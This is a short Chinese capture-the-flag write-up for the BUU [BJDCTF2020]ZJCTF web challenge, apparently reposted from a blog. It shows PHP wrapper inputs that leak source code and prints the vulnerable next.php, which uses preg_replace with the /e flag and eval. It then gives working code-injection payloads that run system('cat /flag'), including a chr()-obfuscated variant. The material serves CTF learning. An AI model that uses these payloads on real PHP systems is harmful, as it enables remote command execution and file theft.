BUU [BJDCTF2020]ZJCTF,不过如此
和BUU [ZJCTF 2019]NiZhuanSiWei一样。
?text=data://text/plain,I have a dream
&file=php://filter/read=convert.base64-encode/resource=next.php
得到next.php源码。
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
最终目的是调用getFlag()然后命令执行。
get和session两个值一样的,名字为id的变量,没什么用,估计是用来混淆不知道的那些人。
preg_replace()的/e模式存在命令执行漏洞。
深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)文章来源:https://www.toymoban.com/news/detail-535637.html
最终payload:文章来源地址https://www.toymoban.com/news/detail-535637.html
?text=data://text/plain,I have a dream&file=next.php&
+
\S*=${getFlag()}&cmd=system('cat /flag');
\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}
//chr拼接system的参数
\S*=${phpinfo()}可查看phpinfo()
到了这里,关于BUU [BJDCTF2020]ZJCTF,不过如此的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!